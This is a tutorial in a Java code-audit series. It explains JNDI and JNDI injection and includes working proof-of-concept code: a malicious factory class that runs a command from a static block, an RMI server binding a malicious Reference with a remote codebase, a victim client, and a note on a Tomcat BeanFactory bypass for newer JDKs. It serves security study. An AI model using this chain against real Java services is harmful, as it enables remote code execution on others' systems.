JNDI injection of Java code audit series

JNDI injection of Java code audit series

0x01 Preface

When mining or exploiting Java deserialization vulnerabilities, concepts such as RMI, JNDI, and JRMP are often encountered. Among them, RMI is a Java remote method invocation mechanism based on serialization. As a common deserialization entry, it is inextricably related to deserialization vulnerabilities. In addition to directly attacking the RMI service interface (for example: CVE-2017-3241), we can also combine RMI to facilitate remote code execution when constructing deserialization exploits.

We talked about the loading of dynamic classes in the previous course, and jndi injection uses dynamic class loading to complete the attack. Before that, let’s first understand the basics of jndi injection.

0x02 What is jndi

JNDI is the Java Naming and Directory Interface (Java Naming and Directory Interface). It is one of the important specifications in the J2EE specification. Many bigwigs may think that without a thorough understanding of the meaning and function of JNDI, they will not have a real grasp of J2EE, especially Knowledge of EJB.

Let's take a conventional JDBC example

Connection jdbcconn=null; 
try { 
	Class.forName("com.mysql.jdbc.Driver"); 
	jdbcconn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=xxx&password=xxx"); 
	...... 
	jdbcconn.close(); 
} catch(Exception e) { 
	e.printStackTrace(); 
} finally { 
	if(jdbcconn!=null) { 
		try { 
			jdbcconn.close(); 
		} catch(SQLException e) {
      
    } 
}

This is an example of a conventional link to a database, and it is also a common practice for programmers in other languages.

advantage

  1. It is understandable that this method will not have any impact in the small-scale development process. As long as the programmer is familiar with Java and Mysql, the corresponding program can be developed quickly.

Disadvantage

1. The address and name of the database server, user name and password may all need to be changed, which leads to the need to modify the JDBC URL;
2. The database may be changed to other products, such as DB2 or Oracle, which may cause the need for the JDBC driver package and class name Modification;
3. With the increase of terminals actually used, the original configuration connection pool parameters may need to be adjusted;

How to solve

For a programming language with a strong abstraction model like Java, the existence of such LowB is certainly not allowed, and programmers should not pay attention to what the back-end database is and what the version is. So in order to unify management, JNDI was born

0x03 Use JNDI

At the beginning, many people will be confused by the words jndi and rmi, and many articles mentioned that you can use jndi to call rmi, which makes people more faint. As long as we know that jndi re-encapsulates various logics for accessing directory services, that is, the code we need to write to access rmi and ldap in the past is very different, but with the jndi layer, we can use jndi. Easily access rmi or ldap services, so that the code implementation for accessing different services is basically the same.

Code

There are binding and search methods in JNDI:

- bind:将第一个参数绑定到第二个参数的对象上面
- lookup:通过提供的名称查找对象

Let's take an example:

IHello.java

package com.evalshell.jndi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String SayHello(String name) throws RemoteException;
}

IHelloImpl.java

package com.evalshell.jndi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    public IHelloImpl() throws RemoteException {
        super();
    }

    @Override
    public String SayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}

CallService.java


package com.evalshell.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception{
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        Context ctx = new InitialContext(env);

        Registry registry = LocateRegistry.createRegistry(1099);

        IHello hello = new IHelloImpl();

        registry.bind("hello", hello);

        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");

        System.out.println(rhello.SayHello("fengxuan"));
    }
}

Because the above code writes the server side and the client side together, it looks not so clear. I have seen many articles in the JNDI factory initialization step. The operation is divided into the server side. I think it is wrong. Configure jndi factory and jndi The url and port should be a matter of the client.

You can compare the difference between the rmi demo in the previous chapters and the jndi demo here to access remote objects to deepen your understanding.

JNDI injection

Principle of injection

We come to the core part of JNDI injection. Regarding JNDI injection, @pwntester has written in detail in the handout on BlackHat. Here we focus on the part related to RMI deserialization. Students who have been exposed to JNDI injection may wonder, shouldn’t the RMI server finally execute the remote method? Why is the target server lookup() a malicious RMI service address and malicious code executed?

In the JNDI service, in addition to directly binding the remote object, the RMI server can also bind an external remote object (an object outside the current name directory system) through the References class. After binding the Reference, the server will first obtain the reference of the bound object through Referenceable.getReference() and save it in the directory. When the client finds this remote object in lookup(), the client will obtain the corresponding object factory, and finally convert the reference into a specific object instance through the factory class.

The entire utilization process is as follows:

  1. InitialContext.lookup(URI) is called in the target code, and the URI is user-controllable;
  2. The attacker controls the URI parameter to the malicious RMI service address, such as: rmi://hacker_rmi_server//name;
  3. The attacker's RMI server returns a Reference object to the target, and a carefully constructed Factory class is specified in the Reference object;
  4. When the target performs the lookup() operation, it will dynamically load and instantiate the Factory class, and then call factory.getObjectInstance() to obtain an external remote object instance;
  5. The attacker can write malicious code in the factory file construction method, static code block, getObjectInstance() method, etc., to achieve the effect of RCE;

Here, the attack target plays the role of a JNDI client, and the attacker implements the attack by building a malicious RMI server. When we follow the code of the lookup() function, we can see the processing logic of the Reference class in JNDI, which will eventually call NamingManager.getObjectInstance():

Actual case

Create a malicious object first

package com.evalshell.jndi;

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

public class BadObject {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("gnome-calculator");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

}

You can see here that the static code block is used to execute the command

  1. Create rmi server and bind malicious Reference to rmi registry
package com.evalshell.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1100);
        String url = "http://127.0.0.1:7777/";
        System.out.println("Create RMI registry on port 1100");
        Reference reference = new Reference("EvilObj", "EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }

}

Create a client (victim)

package com.evalshell.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        context.lookup("rmi://localhost:1100/evil");
    }
}

You can see that the parameters of the lookup method here point to the malicious rmi address I set.

Then compile the project first, generate the class file, and then start a simple HTTP Server with python in the class file directory:

python -m SimpleHTTPServer 7777

Executing the above command will run an HTTP Server on port 7777 in the current directory:

Then run the Server side and start the rmi registry service

If it is JDK1.7 version, it can run successfully

JDK1.8 finally runs an error

At this time, using JNDI Server to return a malicious Reference can be successfully exploited, because JDK 8u191 only restricts the LDAP JNDI Reference.

Tips: There is a detail in the test process. We can successfully use RMI Server + JNDI Reference in JDK 8u102. At this time, we manually set com.sun.jndi.rmi.object.trustURLCodebase and other properties to false, which will not As expected, the limited effects of higher versions of JDK appear, and Payload can still be used.

Bypass the restrictions of high version JDK: use local Class as Reference Factory

In the higher version (such as: JDK8u191 and above), although the malicious Factory cannot be loaded remotely, we can still specify the Factory Class in the returned Reference. This factory class must be in the local CLASSPATH of the victim. The factory class must implement the javax.naming.spi.ObjectFactory interface, and at least one getObjectInstance() method must exist. org.apache.naming.factory.BeanFactory just meets the conditions and may be used. org.apache.naming.factory.BeanFactory exists in the Tomcat dependency package, so it is also widely used.

org.apache.naming.factory.BeanFactory in getObjectInstance() will instantiate any Bean Class pointed to by Reference through reflection, and will call the setter method to assign values ​​to all properties. The class name, attributes, and attribute values ​​of the Bean Class all come from the Reference object, which are all controllable by the attacker.